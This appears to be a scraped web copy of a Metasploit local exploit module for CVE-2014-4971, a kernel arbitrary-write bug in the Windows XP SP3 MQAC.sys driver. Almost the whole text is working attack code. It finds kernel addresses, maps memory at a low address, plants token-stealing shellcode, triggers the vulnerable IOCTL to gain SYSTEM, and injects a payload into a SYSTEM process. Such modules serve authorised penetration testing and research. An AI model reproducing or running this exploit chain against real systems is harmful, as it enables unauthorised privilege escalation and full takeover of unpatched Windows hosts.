扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation', 'Description'=> %q{ A vulnerability within the MQAC.sys module allows an attacker to overwrite an arbitrary location in kernel memory. This module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Matt Bergin', # original exploit and all the hard work 'Spencer McIntyre' # MSF module ], 'Arch' => [ ARCH_X86 ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets'=> [ [ 'Windows XP SP3', { '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", '_APLINKS' => "\x88" } ], ], 'References'=> [ [ 'CVE', '2014-4971' ], [ 'EDB', '34112' ], [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ] ], 'DisclosureDate'=> 'Jul 22 2014', 'DefaultTarget' => 0 })) end def find_sys_base(drvname) session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]]) session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]]) results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) current_drvname = results['lpBaseName'][0..results['return'] - 1] if drvname == nil if current_drvname.downcase.include?('krnl') return [address, current_drvname] end elsif drvname == results['lpBaseName'][0..results['return'] - 1] return [address, current_drvname] end end end # Function borrowed from smart_hashdump def get_system_proc # Make sure you got the correct SYSTEM Account Name no matter the OS Language local_sys = resolve_sid("S-1-5-18") system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" this_pid = session.sys.process.getpid # Processes that can Blue Screen a host if migrated in to dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"] session.sys.process.processes.each do |p| # Check we are not migrating to a process that can BSOD the host next if dangerous_processes.include?(p["name"]) next if p["pid"] == this_pid next if p["pid"] == 4 next if p["user"] != system_account_name return p end end def open_device handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil) if handle['return'] == 0 print_error('Failed to open the \\\\.\\MQAC device') return nil end handle = handle['return'] end def check handle = open_device if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) os = sysinfo["OS"] case os when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears when /windows xp/i return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit if sysinfo["Architecture"] =~ /wow64/i print_error("Running against WOW64 is not supported") return elsif sysinfo["Architecture"] =~ /x64/ print_error("Running against 64-bit systems is not supported") return end if is_system? print_error("This meterpreter session is already running as SYSTEM") return end kernel_info = find_sys_base(nil) base_addr = 0xffff print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") handle = open_device return if handle.nil? this_proc = session.sys.process.open unless this_proc.memory.writable?(base_addr) session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack("L"), nil, [ 0xffff ].pack("L"), "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE") end unless this_proc.memory.writable?(base_addr) print_error('Failed to properly allocate memory') this_proc.close return end hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) hKernel = hKernel['return'] halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable") halDispatchTable = halDispatchTable['return'] halDispatchTable -= hKernel halDispatchTable += kernel_info[0] print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}") tokenstealing= "\x52"# push edx # Save edx on the stack tokenstealing << "\x53"# push ebx # Save ebx on the stack tokenstealing << "\x33\xc0"# xor eax, eax # eax = 0 tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"# mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD tokenstealing << "\x8b\x40" + target['_KPROCESS']# mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS tokenstealing << "\x8b\xc8"# mov ecx, eax tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00"# mov ebx, dword ptr [eax+0C8h]# Retrieves TOKEN tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00"# mov eax, dword ptr [eax+88h]<====| # Retrieve FLINK from ActiveProcessLinks tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00"# sub eax,88h| # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) tokenstealing << "\x75\xe8"# jne 0000101e ====================== tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00"# mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1"# mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00"# mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b"# pop ebx# Restores ebx tokenstealing << "\x5a"# pop edx# Restores edx tokenstealing << "\xc2\x10"# ret 10h# Away from the kernel! shellcode = make_nops(0x200) + tokenstealing this_proc.memory.write(0x1, shellcode) this_proc.close print_status("Triggering vulnerable IOCTL") session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0) result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) unless is_system? print_error("Exploit failed") return end proc = get_system_proc print_status("Injecting the payload into SYSTEM process: #{proc['name']}") unless execute_shellcode(payload.encoded, nil, proc['pid']) fail_with(Failure::Unknown, "Error while executing the payload") end end end |
体验盒子
